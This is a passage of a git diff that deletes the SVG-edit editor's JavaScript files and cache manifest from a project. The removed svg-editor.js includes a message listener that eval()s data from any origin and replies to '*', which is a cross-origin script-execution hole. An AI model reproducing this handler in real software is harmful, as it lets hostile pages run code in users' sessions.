-					// Remove any existing canvasses
-					$hcanv.siblings().remove();
-					
-					// Create multiple canvases when necessary (due to browser limits)
-					if(ruler_len >= limit) {
-						var num = parseInt(ruler_len / limit) + 1;
-						ctx_arr = Array(num);
-						ctx_arr[0] = ctx;
-						for(var i = 1; i < num; i++) {
-							hcanv[lentype] = limit;
-							var copy = hcanv.cloneNode(true);
-							hcanv.parentNode.appendChild(copy);
-							ctx_arr[i] = copy.getContext('2d');
-						}
-						
-						copy[lentype] = ruler_len % limit;
-						
-						// set copy width to last
-						ruler_len = limit;
-					}
-					
-					hcanv[lentype] = ruler_len;
-					
-					var u_multi = unit * zoom;
-					
-					// Calculate the main number interval
-					var raw_m = 50 / u_multi;
-					var multi = 1;
-					for(var i = 0; i < r_intervals.length; i++) {
-						var num = r_intervals[i];
-						multi = num;
-						if(raw_m <= num) {
-							break;
-						}
-					}
-					
-					var big_int = multi * u_multi;
-
-					ctx.font = "9px sans-serif";
-
-					var ruler_d = ((content_d / u_multi) % multi) * u_multi;
-					var label_pos = ruler_d - big_int;
-					for (; ruler_d < total_len; ruler_d += big_int) {
-						label_pos += big_int;
-						var real_d = ruler_d - content_d;
-
-						var cur_d = Math.round(ruler_d) + .5;
-						if(is_x) {
-							ctx.moveTo(cur_d, 15);
-							ctx.lineTo(cur_d, 0);
-						} else {
-							ctx.moveTo(15, cur_d);
-							ctx.lineTo(0, cur_d);
-						}
-	
-						var num = (label_pos - content_d) / u_multi;
-						var label;
-						if(multi >= 1) {
-							label = Math.round(num);
-						} else {
-							var decs = (multi+'').split('.')[1].length;
-							label = num.toFixed(decs)-0;
-						}
-						
-						// Do anything special for negative numbers?
-// 						var is_neg = label < 0;
-// 						real_d2 = Math.abs(real_d2);
-						
-						// Change 1000s to Ks
-						if(label !== 0 && label !== 1000 && label % 1000 === 0) {
-							label = (label / 1000) + 'K';
-						}
-						
-						if(is_x) {
-							ctx.fillText(label, ruler_d+2, 8);
-						} else {
-							var str = (label+'').split('');
-							for(var i = 0; i < str.length; i++) {
-								ctx.fillText(str[i], 1, (ruler_d+9) + i*9);
-							}
-						}
-						
-						var part = big_int / 10;
-						for(var i = 1; i < 10; i++) {
-							var sub_d = Math.round(ruler_d + part * i) + .5;
-							if(ctx_arr && sub_d > ruler_len) {
-								ctx_num++;
-								ctx.stroke();
-								if(ctx_num >= ctx_arr.length) {
-									i = 10;
-									ruler_d = total_len;
-									continue;
-								}
-								ctx = ctx_arr[ctx_num];
-								ruler_d -= limit;
-								sub_d = Math.round(ruler_d + part * i) + .5;
-							}
-							
-							var line_num = (i % 2)?12:10;
-							if(is_x) {
-								ctx.moveTo(sub_d, 15);
-								ctx.lineTo(sub_d, line_num);
-							} else {
-								ctx.moveTo(15, sub_d);
-								ctx.lineTo(line_num ,sub_d);
-							}
-						}
-					}
-
-					// console.log('ctx', ctx);
-					ctx.strokeStyle = "#000";
-					ctx.stroke();
-				}
-			}
-		
-// 			$(function() {
-				updateCanvas(true);
-// 			});
-			
-		//	var revnums = "svg-editor.js ($Rev: 2042 $) ";
-		//	revnums += svgCanvas.getVersion();
-		//	$('#copyright')[0].setAttribute("title", revnums);
-		
-			// Callback handler for embedapi.js
- 			try{
- 				var json_encode = function(obj){
- 			  //simple partial JSON encoder implementation
- 			  if(window.JSON && JSON.stringify) return JSON.stringify(obj);
- 			  var enc = arguments.callee; //for purposes of recursion
- 			  if(typeof obj == "boolean" || typeof obj == "number"){
- 				  return obj+'' //should work...
- 			  }else if(typeof obj == "string"){
- 				//a large portion of this is stolen from Douglas Crockford's json2.js
- 				return '"'+
- 					  obj.replace(
- 						/[\\\"\x00-\x1f\x7f-\x9f\u00ad\u0600-\u0604\u070f\u17b4\u17b5\u200c-\u200f\u2028-\u202f\u2060-\u206f\ufeff\ufff0-\uffff]/g
- 					  , function (a) {
- 						return '\\u' + ('0000' + a.charCodeAt(0).toString(16)).slice(-4);
- 					  })
- 					  +'"'; //note that this isn't quite as purtyful as the usualness
- 			  }else if(obj.length){ //simple hackish test for arrayish-ness
- 				for(var i = 0; i < obj.length; i++){
- 				  obj[i] = enc(obj[i]); //encode every sub-thingy on top
- 				}
- 				return "["+obj.join(",")+"]";
- 			  }else{
- 				var pairs = []; //pairs will be stored here
- 				for(var k in obj){ //loop through thingys
- 				  pairs.push(enc(k)+":"+enc(obj[k])); //key: value
- 				}
- 				return "{"+pairs.join(",")+"}" //wrap in the braces
- 			  }
- 			}
- 			  window.addEventListener("message", function(e){
- 				var cbid = parseInt(e.data.substr(0, e.data.indexOf(";")));
- 				try{
-					e.source.postMessage("SVGe"+cbid+";"+json_encode(eval(e.data)), "*");
- 			  }catch(err){					
-					e.source.postMessage("SVGe"+cbid+";error:"+err.message, "*");
- 			  }
- 			}, false)
- 			}catch(err){
- 			  window.embed_error = err;
-			}
-			
-		
-		
-			// For Compatibility with older extensions
-			$(function() {
-				window.svgCanvas = svgCanvas;
-				svgCanvas.ready = svgEditor.ready;
-			});
-		
-		
-			Editor.setLang = function(lang, allStrings) {
-				$.pref('lang', lang);
-				$('#lang_select').val(lang);
-				if(allStrings) {
-				
-					var notif = allStrings.notification;
-
-
-				
-					// $.extend will only replace the given strings
-					var oldLayerName = $('#layerlist tr.layersel td.layername').text();
-					var rename_layer = (oldLayerName == uiStrings.common.layer + ' 1');
-					
-					$.extend(uiStrings, allStrings);
-					svgCanvas.setUiStrings(allStrings);
-					Actions.setTitles();
-					
-					if(rename_layer) {
-						svgCanvas.renameCurrentLayer(uiStrings.common.layer + ' 1');
-						populateLayers();				
-					}
-					
-					svgCanvas.runExtensions("langChanged", lang);
-					
-					// Update flyout tooltips
-					setFlyoutTitles();
-					
-					// Copy title for certain tool elements
-					var elems = {
-						'#stroke_color': '#tool_stroke .icon_label, #tool_stroke .color_block',
-						'#fill_color': '#tool_fill label, #tool_fill .color_block',
-						'#linejoin_miter': '#cur_linejoin',
-						'#linecap_butt': '#cur_linecap'
-					}
-					
-					$.each(elems, function(source, dest) {
-						$(dest).attr('title', $(source)[0].title);
-					});
-					
-					// Copy alignment titles
-					$('#multiselected_panel div[id^=tool_align]').each(function() {
-						$('#tool_pos' + this.id.substr(10))[0].title = this.title;
-					});
-					
-				}
-			};
-		};
-		
-		var callbacks = [];
-		
-		function loadSvgString(str, callback) {
-			var success = svgCanvas.setSvgString(str) !== false;
-			callback = callback || $.noop;
-			if(success) {
-				callback(true);
-			} else {
-				$.alert(uiStrings.notification.errorLoadingSVG, function() {
-					callback(false);
-				});
-			}
-		}
-		
-		Editor.ready = function(cb) {
-			if(!is_ready) {
-				callbacks.push(cb);
-			} else {
-				cb();
-			}
-		};
-
-		Editor.runCallbacks = function() {
-			$.each(callbacks, function() {
-				this();
-			});
-			is_ready = true;
-		};
-		
-		Editor.loadFromString = function(str) {
-			Editor.ready(function() {
-				loadSvgString(str);
-			});
-		};
-		
-		Editor.disableUI = function(featList) {
-// 			$(function() {
-// 				$('#tool_wireframe, #tool_image, #main_button, #tool_source, #sidepanels').remove();
-// 				$('#tools_top').css('left', 5);
-// 			});
-		};
-		
-		Editor.loadFromURL = function(url, opts) {
-			if(!opts) opts = {};
-
-			var cache = opts.cache;
-			var cb = opts.callback;
-		
-			Editor.ready(function() {
-				$.ajax({
-					'url': url,
-					'dataType': 'text',
-					cache: !!cache,
-					success: function(str) {
-						loadSvgString(str, cb);
-					},
-					error: function(xhr, stat, err) {
-						if(xhr.status != 404 && xhr.responseText) {
-							loadSvgString(xhr.responseText, cb);
-						} else {
-							$.alert(uiStrings.notification.URLloadFail + ": \n"+err+'', cb);
-						}
-					}
-				});
-			});
-		};
-		
-		Editor.loadFromDataURI = function(str) {
-			Editor.ready(function() {
-				var pre = 'data:image/svg+xml;base64,';
-				var src = str.substring(pre.length);
-				loadSvgString(svgedit.utilities.decode64(src));
-			});
-		};
-		
-		Editor.addExtension = function() {
-			var args = arguments;
-			
-			// Note that we don't want this on Editor.ready since some extensions
-			// may want to run before then (like server_opensave).
-			$(function() {
-				if(svgCanvas) svgCanvas.addExtension.apply(this, args);
-			});
-		};
-
-		return Editor;
-	}(jQuery);
-	
-	// Run init once DOM is loaded
-	$(svgEditor.init);
-	
-})();
-
-// ?iconsize=s&bkgd_color=555
-
-// svgEditor.setConfig({
-// // 	imgPath: 'foo',
-// 	dimensions: [800, 600],
-// 	canvas_expansion: 5,
-// 	initStroke: {
-// 		color: '0000FF',
-// 		width: 3.5,
-// 		opacity: .5
-// 	},
-// 	initFill: {
-// 		color: '550000',
-// 		opacity: .75
-// 	},
-// 	extensions: ['ext-helloworld.js']
-// })
diff --git a/public/svg-edit/editor/svg-editor.manifest b/public/svg-edit/editor/svg-editor.manifest
deleted file mode 100644
index b1563746..00000000
--- a/public/svg-edit/editor/svg-editor.manifest
+++ /dev/null
@@ -1,121 +0,0 @@
-CACHE MANIFEST
-svg-editor.html
-images/logo.png
-jgraduate/css/jPicker-1.0.9.css
-jgraduate/css/jGraduate-0.2.0.css
-svg-editor.css
-spinbtn/JQuerySpinBtn.css
-jquery.js
-js-hotkeys/jquery.hotkeys.min.js
-jquery-ui/jquery-ui-1.7.2.custom.min.js
-jgraduate/jpicker-1.0.9.min.js
-jgraduate/jquery.jgraduate.js
-spinbtn/JQuerySpinBtn.js
-svgcanvas.js
-svg-editor.js
-images/align-bottom.png
-images/align-center.png
-images/align-left.png
-images/align-middle.png
-images/align-right.png
-images/align-top.png
-images/bold.png
-images/cancel.png
-images/circle.png
-images/clear.png
-images/clone.png
-images/copy.png
-images/cut.png
-images/delete.png
-images/document-properties.png
-images/dropdown.gif
-images/ellipse.png
-images/eye.png
-images/flyouth.png
-images/flyup.gif
-images/freehand-circle.png
-images/freehand-square.png
-images/go-down.png
-images/go-up.png
-images/image.png
-images/italic.png
-images/line.png
-images/logo.png
-images/logo.svg
-images/move_bottom.png
-images/move_top.png
-images/none.png
-images/open.png
-images/paste.png
-images/path.png
-images/polygon.png
-images/rect.png
-images/redo.png
-images/save.png
-images/select.png
-images/sep.png
-images/shape_group.png
-images/shape_ungroup.png
-images/source.png
-images/square.png
-images/text.png
-images/undo.png
-images/view-refresh.png
-images/wave.png
-images/zoom.png
-locale/locale.js
-locale/lang.af.js
-locale/lang.ar.js
-locale/lang.az.js
-locale/lang.be.js
-locale/lang.bg.js
-locale/lang.ca.js
-locale/lang.cs.js
-locale/lang.cy.js
-locale/lang.da.js
-locale/lang.de.js
-locale/lang.el.js
-locale/lang.en.js
-locale/lang.es.js
-locale/lang.et.js
-locale/lang.fa.js
-locale/lang.fi.js
-locale/lang.fr.js
-locale/lang.ga.js
-locale/lang.gl.js
-locale/lang.hi.js
-locale/lang.hr.js
-locale/lang.hu.js
-locale/lang.hy.js
-locale/lang.id.js
-locale/lang.is.js
-locale/lang.it.js
-locale/lang.iw.js
-locale/lang.ja.js
-locale/lang.ko.js
-locale/lang.lt.js
-locale/lang.lv.js
-locale/lang.mk.js
-locale/lang.ms.js
-locale/lang.mt.js
-locale/lang.nl.js
-locale/lang.no.js
-locale/lang.pl.js
-locale/lang.pt-PT.js
-locale/lang.ro.js
-locale/lang.ru.js
-locale/lang.sk.js
-locale/lang.sl.js
-locale/lang.sq.js
-locale/lang.sr.js
-locale/lang.sv.js
-locale/lang.sw.js
-locale/lang.th.js
-locale/lang.tl.js
-locale/lang.tr.js
-locale/lang.uk.js
-locale/lang.vi.js
-locale/lang.yi.js
-locale/lang.zh-CN.js
-locale/lang.zh-TW.js
-locale/lang.zh.js
diff --git a/public/svg-edit/editor/svgcanvas.js b/public/svg-edit/editor/svgcanvas.js
deleted file mode 100644
index d5a4a4d1..00000000
--- a/public/svg-edit/editor/svgcanvas.js
+++ /dev/null
@@ -1,8735 +0,0 @@
-/*
- * svgcanvas.js
- *
- * Licensed under the Apache License, Version 2
- *
- * Copyright(c) 2010 Alexis Deveria
- * Copyright(c) 2010 Pavol Rusnak
- * Copyright(c) 2010 Jeff Schiller
- *
- */
-
-// Dependencies:
-// 1) jQuery
-// 2) browser.js
-// 3) svgtransformlist.js
-// 4) math.js
-// 5) units.js
-// 6) svgutils.js
-// 7) sanitize.js
-// 8) history.js
-// 9) select.js
-// 10) draw.js
-// 11) path.js
-
-if(!window.console) {
-	window.console = {};
-	window.console.log = function(str) {};
-	window.console.dir = function(str) {};
-}
-
-if(window.opera) {
-	window.console.log = function(str) { opera.postError(str); };
-	window.console.dir = function(str) {};
-}
-
-(function() {
-
-	// This fixes $(...).attr() to work as expected with SVG elements.
-	// Does not currently use *AttributeNS() since we rarely need that.
-	
-	// See http://api.jquery.com/attr/ for basic documentation of .attr()
-	
-	// Additional functionality: 
-	// - When getting attributes, a string that's a number is return as type number.
-	// - If an array is supplied as first parameter, multiple values are returned
-	// as an object with values for each given attributes
-
-	var proxied = jQuery.fn.attr, svgns = "http://www.w3.org/2000/svg";
-	jQuery.fn.attr = function(key, value) {
-		var len = this.length;
-		if(!len) return this;
-		for(var i=0; i<len; i++) {
-			var elem = this[i];
-			// set/get SVG attribute
-			if(elem.namespaceURI === svgns) {
-				// Setting attribute
-				if(value !== undefined) {
-					elem.setAttribute(key, value);
-				} else if($.isArray(key)) {
-					// Getting attributes from array
-					var j = key.length, obj = {};
-
-					while(j--) {
-						var aname = key[j];
-						var attr = elem.getAttribute(aname);
-						// This returns a number when appropriate
-						if(attr || attr === "0") {
-							attr = isNaN(attr)?attr:attr-0;
-						}
-						obj[aname] = attr;
-					}
-					return obj;
-				
-				} else if(typeof key === "object") {
-					// Setting attributes form object
-					for(var v in key) {
-						elem.setAttribute(v, key[v]);
-					}
-				// Getting attribute
-				} else {
-					var attr = elem.getAttribute(key);
-					if(attr || attr === "0") {
-						attr = isNaN(attr)?attr:attr-0;
-					}
-
-					return attr;
-				}
-			} else {
-				return proxied.apply(this, arguments);
-			}
-		}
-		return this;
-	};
-	
-}());
-
-// Class: SvgCanvas
-// The main SvgCanvas class that manages all SVG-related functions
-//
-// Parameters:
-// container - The container HTML element that should hold the SVG root element
-// config - An object that contains configuration data
-$.SvgCanvas = function(container, config)
-{
-// Namespace constants
-var svgns = "http://www.w3.org/2000/svg",
-	xlinkns = "http://www.w3.org/1999/xlink",
-	xmlns = "http://www.w3.org/XML/1998/namespace",
-	xmlnsns = "http://www.w3.org/2000/xmlns/", // see http://www.w3.org/TR/REC-xml-names/#xmlReserved
-	se_ns = "http://svg-edit.googlecode.com",
-	htmlns = "http://www.w3.org/1999/xhtml",
-	mathns = "http://www.w3.org/1998/Math/MathML";
-
-// Default configuration options
-var curConfig = {
-	show_outside_canvas: true,
-	selectNew: true,
-	dimensions: [640, 480]
-};
-
-// Update config with new one if given
-if(config) {
-	$.extend(curConfig, config);
-}
-
-// Array with width/height of canvas
-var dimensions = curConfig.dimensions;
-
-var canvas = this;
-
-// "document" element associated with the container (same as window.document using default svg-editor.js)
-// NOTE: This is not actually a SVG document, but a HTML document.
-var svgdoc = container.ownerDocument;
-
-// This is a container for the document being edited, not the document itself.
-var svgroot = svgdoc.importNode(svgedit.utilities.text2xml(
-		'<svg id="svgroot" xmlns="' + svgns + '" xlinkns="' + xlinkns + '" ' +
-			'width="' + dimensions[0] + '" height="' + dimensions[1] + '" x="' + dimensions[0] + '" y="' + dimensions[1] + '" overflow="visible">' +
-			'<defs>' +
-				'<filter id="canvashadow" filterUnits="objectBoundingBox">' +
-					'<feGaussianBlur in="SourceAlpha" stdDeviation="4" result="blur"/>'+
-					'<feOffset in="blur" dx="5" dy="5" result="offsetBlur"/>'+
-					'<feMerge>'+
-						'<feMergeNode in="offsetBlur"/>'+
-						'<feMergeNode in="SourceGraphic"/>'+
-					'</feMerge>'+
-				'</filter>'+
-			'</defs>'+
-		'</svg>').documentElement, true);
-container.appendChild(svgroot);
-
-// The actual element that represents the final output SVG element
-var svgcontent = svgdoc.createElementNS(svgns, "svg");
-
-// This function resets the svgcontent element while keeping it in the DOM.
-var clearSvgContentElement = canvas.clearSvgContentElement = function() {
-	while (svgcontent.firstChild) { svgcontent.removeChild(svgcontent.firstChild); }
-
-	// TODO: Clear out all other attributes first?
-	$(svgcontent).attr({
-		id: 'svgcontent',
-		width: dimensions[0],
-		height: dimensions[1],
-		x: dimensions[0],
-		y: dimensions[1],
-		overflow: curConfig.show_outside_canvas ? 'visible' : 'hidden',
-		xmlns: svgns,
-		"xmlns:se": se_ns,
-		"xmlns:xlink": xlinkns
-	}).appendTo(svgroot);
-
-	// TODO: make this string optional and set by the client
-	var comment = svgdoc.createComment(" Created with SVG-edit - http://svg-edit.googlecode.com/ ");
-        // Lead to invalid content with Instiki's Sanitizer
-        // svgcontent.appendChild(comment);
-};
-clearSvgContentElement();
-
-// Prefix string for element IDs
-var idprefix = "svg_";
-
-// Function: setIdPrefix
-// Changes the ID prefix to the given value
-//
-// Parameters: 
-// p - String with the new prefix 
-canvas.setIdPrefix = function(p) {
-	idprefix = p;
-};
-
-// Current svgedit.draw.Drawing object
-// @type {svgedit.draw.Drawing}
-canvas.current_drawing_ = new svgedit.draw.Drawing(svgcontent, idprefix);
-
-// Function: getCurrentDrawing
-// Returns the current Drawing.
-// @return {svgedit.draw.Drawing}
-var getCurrentDrawing = canvas.getCurrentDrawing = function() {
-	return canvas.current_drawing_;
-};
-
-// Float displaying the current zoom level (1 = 100%, .5 = 50%, etc)
-var current_zoom = 1;
-
-// pointer to current group (for in-group editing)
-var current_group = null;
-
-// Object containing data for the currently selected styles
-var all_properties = {
-	shape: {
-		fill: "#" + curConfig.initFill.color,
-		fill_paint: null,
-		fill_opacity: curConfig.initFill.opacity,
-		stroke: "#" + curConfig.initStroke.color,
-		stroke_paint: null,
-		stroke_opacity: curConfig.initStroke.opacity,
-		stroke_width: curConfig.initStroke.width,
-		stroke_dasharray: 'none',
-		stroke_linejoin: 'miter',
-		stroke_linecap: 'butt',
-		opacity: curConfig.initOpacity
-	}
-};
-
-all_properties.text = $.extend(true, {}, all_properties.shape);
-$.extend(all_properties.text, {
-	fill: "#000000",
-	stroke_width: 0,
-	font_size: 24,
-	font_family: 'serif'
-});
-
-// Current shape style properties
-var cur_shape = all_properties.shape;
-
-// Array with all the currently selected elements
-// default size of 1 until it needs to grow bigger
-var selectedElements = new Array(1);
-
-// Function: addSvgElementFromJson
-// Create a new SVG element based on the given object keys/values and add it to the current layer
-// The element will be ran through cleanupElement before being returned 
-//
-// Parameters:
-// data - Object with the following keys/values:
-// * element - tag name of the SVG element to create
-// * attr - Object with attributes key-values to assign to the new element
-// * curStyles - Boolean indicating that current style attributes should be applied first
-//
-// Returns: The new element
-var addSvgElementFromJson = this.addSvgElementFromJson = function(data) {
-	var shape = svgedit.utilities.getElem(data.attr.id);
-	// if shape is a path but we need to create a rect/ellipse, then remove the path
-	var current_layer = getCurrentDrawing().getCurrentLayer();
-	if (shape && data.element != shape.tagName) {
-		current_layer.removeChild(shape);
-		shape = null;
-	}
-	if (!shape) {
-		shape = svgdoc.createElementNS(svgns, data.element);
-		if (current_layer) {
-			(current_group || current_layer).appendChild(shape);
-		}
-	}
-	if(data.curStyles) {
-		svgedit.utilities.assignAttributes(shape, {
-			"fill": cur_shape.fill,
-			"stroke": cur_shape.stroke,
-			"stroke-width": cur_shape.stroke_width,
-			"stroke-dasharray": cur_shape.stroke_dasharray,
-			"stroke-linejoin": cur_shape.stroke_linejoin,
-			"stroke-linecap": cur_shape.stroke_linecap,
-			"stroke-opacity": cur_shape.stroke_opacity,
-			"fill-opacity": cur_shape.fill_opacity,
-			"opacity": cur_shape.opacity / 2,
-			"style": "pointer-events:inherit"
-		}, 100);
-	}
-	svgedit.utilities.assignAttributes(shape, data.attr, 100);
-	svgedit.utilities.cleanupElement(shape);
-	return shape;
-};
-
-
-// import svgtransformlist.js
-var getTransformList = canvas.getTransformList = svgedit.transformlist.getTransformList;
-
-// import from math.js.
-var transformPoint = svgedit.math.transformPoint;
-var matrixMultiply = canvas.matrixMultiply = svgedit.math.matrixMultiply;
-var hasMatrixTransform = canvas.hasMatrixTransform = svgedit.math.hasMatrixTransform;
-var transformListToTransform = canvas.transformListToTransform = svgedit.math.transformListToTransform;
-var snapToAngle = svgedit.math.snapToAngle;
-var getMatrix = svgedit.math.getMatrix;
-
-// initialize from units.js
-// send in an object implementing the ElementContainer interface (see units.js)
-svgedit.units.init({
-	getBaseUnit: function() { return curConfig.baseUnit; },
-	getElement: svgedit.utilities.getElem,
-	getHeight: function() { return svgcontent.getAttribute("height")/current_zoom; },
-	getWidth: function() { return svgcontent.getAttribute("width")/current_zoom; },
-	getRoundDigits: function() { return save_options.round_digits; }
-});
-// import from units.js
-var convertToNum = canvas.convertToNum = svgedit.units.convertToNum;
-
-// import from svgutils.js
-svgedit.utilities.init({
-	getDOMDocument: function() { return svgdoc; },
-	getDOMContainer: function() { return container; },
-	getSVGRoot: function() { return svgroot; },
-	// TODO: replace this mostly with a way to get the current drawing.
-	getSelectedElements: function() { return selectedElements; },
-	getSVGContent: function() { return svgcontent; }
-});
-var getUrlFromAttr = canvas.getUrlFromAttr = svgedit.utilities.getUrlFromAttr;
-var getHref = canvas.getHref = svgedit.utilities.getHref;
-var setHref = canvas.setHref = svgedit.utilities.setHref;
-var getPathBBox = svgedit.utilities.getPathBBox;
-var getBBox = canvas.getBBox = svgedit.utilities.getBBox;
-var getRotationAngle = canvas.getRotationAngle = svgedit.utilities.getRotationAngle;
-var getElem = canvas.getElem = svgedit.utilities.getElem;
-var assignAttributes = canvas.assignAttributes = svgedit.utilities.assignAttributes;
-var cleanupElement = this.cleanupElement = svgedit.utilities.cleanupElement;
-
-// import from sanitize.js
-var nsMap = svgedit.sanitize.getNSMap();
-var sanitizeSvg = canvas.sanitizeSvg = svgedit.sanitize.sanitizeSvg;
-
-// import from history.js
-var MoveElementCommand = svgedit.history.MoveElementCommand;
-var InsertElementCommand = svgedit.history.InsertElementCommand;
-var RemoveElementCommand = svgedit.history.RemoveElementCommand;
-var ChangeElementCommand = svgedit.history.ChangeElementCommand;
-var BatchCommand = svgedit.history.BatchCommand;
-// Implement the svgedit.history.HistoryEventHandler interface.
-canvas.undoMgr = new svgedit.history.UndoManager({
-	handleHistoryEvent: function(eventType, cmd) {
-		var EventTypes = svgedit.history.HistoryEventTypes;
-		// TODO: handle setBlurOffsets.
-		if (eventType == EventTypes.BEFORE_UNAPPLY || eventType == EventTypes.BEFORE_APPLY) {
-			canvas.clearSelection();
-		} else if (eventType == EventTypes.AFTER_APPLY || eventType == EventTypes.AFTER_UNAPPLY) {
-			var elems = cmd.elements();
-			canvas.pathActions.clear();
-			call("changed", elems);
-			
-			var cmdType = cmd.type();
-			var isApply = (eventType == EventTypes.AFTER_APPLY);
-			if (cmdType == MoveElementCommand.type()) {
-				var parent = isApply ? cmd.newParent : cmd.oldParent;
-				if (parent == svgcontent) {
-					canvas.identifyLayers();
-				}
-			} else if (cmdType == InsertElementCommand.type() ||
-					cmdType == RemoveElementCommand.type()) {
-				if (cmd.parent == svgcontent) {
-					canvas.identifyLayers();
-				}
-				if (cmdType == InsertElementCommand.type()) {
-					if (isApply) restoreRefElems(cmd.elem);
-				} else {
-					if (!isApply) restoreRefElems(cmd.elem);
-				}
-				
-				if(cmd.elem.tagName === 'use') {
-					setUseData(cmd.elem);
-				}
-			} else if (cmdType == ChangeElementCommand.type()) {
-				// if we are changing layer names, re-identify all layers
-				if (cmd.elem.tagName == "title" && cmd.elem.parentNode.parentNode == svgcontent) {
-					canvas.identifyLayers();
-				}
-				var values = isApply ? cmd.newValues : cmd.oldValues;
-				// If stdDeviation was changed, update the blur.
-				if (values["stdDeviation"]) {
-					canvas.setBlurOffsets(cmd.elem.parentNode, values["stdDeviation"]);
-				}
-				
-				// Remove & Re-add hack for Webkit (issue 775) 
-				if(cmd.elem.tagName === 'use' && svgedit.browser.isWebkit()) {
-					var elem = cmd.elem;
-					if(!elem.getAttribute('x') && !elem.getAttribute('y')) {
-						var parent = elem.parentNode;
-						var sib = elem.nextSibling;
-						parent.removeChild(elem);
-						parent.insertBefore(elem, sib);
-					}
-				}
-			}
-		}
-	}
-});
-var addCommandToHistory = function(cmd) {
-	canvas.undoMgr.addCommandToHistory(cmd);
-};
-
-// import from select.js
-svgedit.select.init(curConfig, {
-	createSVGElement: function(jsonMap) { return canvas.addSvgElementFromJson(jsonMap); },
-	svgRoot: function() { return svgroot; },
-	svgContent: function() { return svgcontent; },
-	currentZoom: function() { return current_zoom; },
-	// TODO(codedread): Remove when getStrokedBBox() has been put into svgutils.js.
-	getStrokedBBox: function(elems) { return canvas.getStrokedBBox([elems]); }
-});
-// this object manages selectors for us
-var selectorManager = this.selectorManager = svgedit.select.getSelectorManager();
-
-// Import from path.js
-svgedit.path.init({
-	getCurrentZoom: function() { return current_zoom; },
-	getSVGRoot: function() { return svgroot; }
-});
-
-// Function: snapToGrid
-// round value to for snapping
-// NOTE: This function did not move to svgutils.js since it depends on curConfig.
-svgedit.utilities.snapToGrid = function(value){
-	var stepSize = curConfig.snappingStep;
-	var unit = curConfig.baseUnit;
-	if(unit !== "px") {
-	stepSize *= svgedit.units.getTypeMap()[unit];
-	}
-	value = Math.round(value/stepSize)*stepSize;
-	return value;
-};
-var snapToGrid = svgedit.utilities.snapToGrid;
-
-// Interface strings, usually for title elements
-var uiStrings = {
-	"exportNoBlur": "Blurred elements will appear as un-blurred",
-	"exportNoforeignObject": "foreignObject elements will not appear",
-	"exportNoDashArray": "Strokes will appear filled",
-	"exportNoText": "Text may not appear as expected"
-};
-
-var visElems = 'a,circle,ellipse,foreignObject,g,image,line,path,polygon,polyline,rect,svg,text,tspan,use';
-var ref_attrs = ["clip-path", "fill", "filter", "marker-end", "marker-mid", "marker-start", "mask", "stroke"];
-
-var elData = $.data;
-
-// Animation element to change the opacity of any newly created element
-var opac_ani = document.createElementNS(svgns, 'animate');
-$(opac_ani).attr({
-	attributeName: 'opacity',
-	begin: 'indefinite',
-	dur: 1,
-	fill: 'freeze'
-}).appendTo(svgroot);
-
-var restoreRefElems = function(elem) {
-	// Look for missing reference elements, restore any found
-	var attrs = $(elem).attr(ref_attrs);
-	for(var o in attrs) {
-		var val = attrs[o];
-		if (val && val.indexOf('url(') === 0) {
-			var id = getUrlFromAttr(val).substr(1);
-			var ref = getElem(id);
-			if(!ref) {
-				findDefs().appendChild(removedElements[id]);
-				delete removedElements[id];
-			}
-		}
-	}
-	
-	var childs = elem.getElementsByTagName('*');
-	
-	if(childs.length) {
-		for(var i = 0, l = childs.length; i < l; i++) {
-			restoreRefElems(childs[i]);
-		}
-	}
-};
-
-(function() {
-	// TODO For Issue 208: this is a start on a thumbnail
-	//	var svgthumb = svgdoc.createElementNS(svgns, "use");
-	//	svgthumb.setAttribute('width', '100');
-	//	svgthumb.setAttribute('height', '100');
-	//	svgedit.utilities.setHref(svgthumb, '#svgcontent');
-	//	svgroot.appendChild(svgthumb);
-
-})();
-
-// Object to contain image data for raster images that were found encodable
-var encodableImages = {},
-	
-	// String with image URL of last loadable image
-	last_good_img_url = curConfig.imgPath + 'logo.png',
-	
-	// Array with current disabled elements (for in-group editing)
-	disabled_elems = [],
-	
-	// Object with save options
-	save_options = {round_digits: 5},
-	
-	// Boolean indicating whether or not a draw action has been started
-	started = false,
-	
-	// String with an element's initial transform attribute value
-	start_transform = null,
-	
-	// String indicating the current editor mode
-	current_mode = "select",
-	
-	// String with the current direction in which an element is being resized
-	current_resize_mode = "none",
-	
-	// Object with IDs for imported files, to see if one was already added
-	import_ids = {};
-
-// Current text style properties
-var cur_text = all_properties.text,
-	
-	// Current general properties
-	cur_properties = cur_shape,
-	
-	// Array with selected elements' Bounding box object
-//	selectedBBoxes = new Array(1),
-	
-	// The DOM element that was just selected
-	justSelected = null,
-	
-	// DOM element for selection rectangle drawn by the user
-	rubberBox = null,
-	
-	// Array of current BBoxes (still needed?)
-	curBBoxes = [],
-	
-	// Object to contain all included extensions
-	extensions = {},
-	
-	// Canvas point for the most recent right click
-	lastClickPoint = null,
-	
-	// Map of deleted reference elements
-	removedElements = {}
-
-// Clipboard for cut, copy&pasted elements
-canvas.clipBoard = [];
-
-// Should this return an array by default, so extension results aren't overwritten?
-var runExtensions = this.runExtensions = function(action, vars, returnArray) {
-	var result = false;
-	if(returnArray) result = [];
-	$.each(extensions, function(name, opts) {
-		if(action in opts) {
-			if(returnArray) {
-				result.push(opts[action](vars))
-			} else {
-				result = opts[action](vars);
-			}
-		}
-	});
-	return result;
-}
-
-// Function: addExtension
-// Add an extension to the editor
-// 
-// Parameters:
-// name - String with the ID of the extension
-// ext_func - Function supplied by the extension with its data
-this.addExtension = function(name, ext_func) {
-	if(!(name in extensions)) {
-		// Provide private vars/funcs here. Is there a better way to do this?
-		
-		if($.isFunction(ext_func)) {
-		var ext = ext_func($.extend(canvas.getPrivateMethods(), {
-			svgroot: svgroot,
-			svgcontent: svgcontent,
-			nonce: getCurrentDrawing().getNonce(),
-			selectorManager: selectorManager
-		}));
-		} else {
-			var ext = ext_func;
-		}
-		extensions[name] = ext;
-		call("extension_added", ext);
-	} else {
-		console.log('Cannot add extension "' + name + '", an extension by that name already exists"');
-	}
-};
-	
-// This method rounds the incoming value to the nearest value based on the current_zoom
-var round = this.round = function(val) {
-	return parseInt(val*current_zoom)/current_zoom;
-};
-
-// This method sends back an array or a NodeList full of elements that
-// intersect the multi-select rubber-band-box on the current_layer only.
-// 
-// Since the only browser that supports the SVG DOM getIntersectionList is Opera, 
-// we need to provide an implementation here.  We brute-force it for now.
-// 
-// Reference:
-// Firefox does not implement getIntersectionList(), see https://bugzilla.mozilla.org/show_bug.cgi?id=501421
-// Webkit does not implement getIntersectionList(), see https://bugs.webkit.org/show_bug.cgi?id=11274
-var getIntersectionList = this.getIntersectionList = function(rect) {
